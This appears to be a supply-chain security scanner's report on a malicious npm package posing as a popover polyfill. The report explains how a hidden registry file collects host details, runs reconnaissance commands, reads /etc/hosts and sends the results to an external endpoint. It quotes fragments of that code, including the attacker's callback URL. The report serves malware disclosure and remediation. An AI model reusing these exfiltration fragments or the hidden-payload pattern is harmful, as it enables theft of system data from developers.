registry / Data exfiltration / popover-anchor-polyfill
popover-anchor-polyfill
Polyfill for HTML popover anchor positioning
This report shows the evidence for popover-anchor-polyfill@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source proves immediate reconnaissance and external data exfiltration unrelated to popover positioning. The inert default entrypoint limits activation but does not neutralize the executable registry payload.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Loading thunderboltRegistry.js in an environment supporting the required APIs.
Impact
Exposes system identity, network information, host mappings, and runtime details to an external recipient.
Mechanism
An immediately invoked function executes shell commands and sends collected output and hostname through HTTP requests.
Attack narrative
When the registry source is loaded, its initial function collects host details, executes reconnaissance commands, and forwards results to a fixed external endpoint. Registry factory exports follow this payload, and the bundled manifest directs multiple registry names to this file. The default npm entrypoint is inert, but direct registry loading activates concrete data exfiltration where the necessary APIs are available.
AI rationale
Inspected source proves immediate reconnaissance and external data exfiltration unrelated to popover positioning. The inert default entrypoint limits activation but does not neutralize the executable registry payload.
Evidence
package.jsonthunderboltRegistry.jsregistry-manifest.min.json/etc/hosts
Network endpoints1
dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest publishes the registry source alongside the default entrypoint.
- Loading thunderboltRegistry.js immediately collects the hostname and sends data to a fixed external HTTP endpoint.
- The registry source executes an identity command and forwards its output.
- The registry source reads /etc/hosts through a shell command and forwards its contents.
- The registry manifest directs registry loaders to the executable registry source.
Evidence against
- There are no npm lifecycle hooks, and index.js only exports an empty object.
- Command execution requires child_process support; transmission requires fetch.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
8 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-field-sizing-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = e9cbfffc3017b8e0
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-field-sizing-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
8 High1 Medium1 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review Evidencepackage.json
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to popover-anchor-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing popover-anchor-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.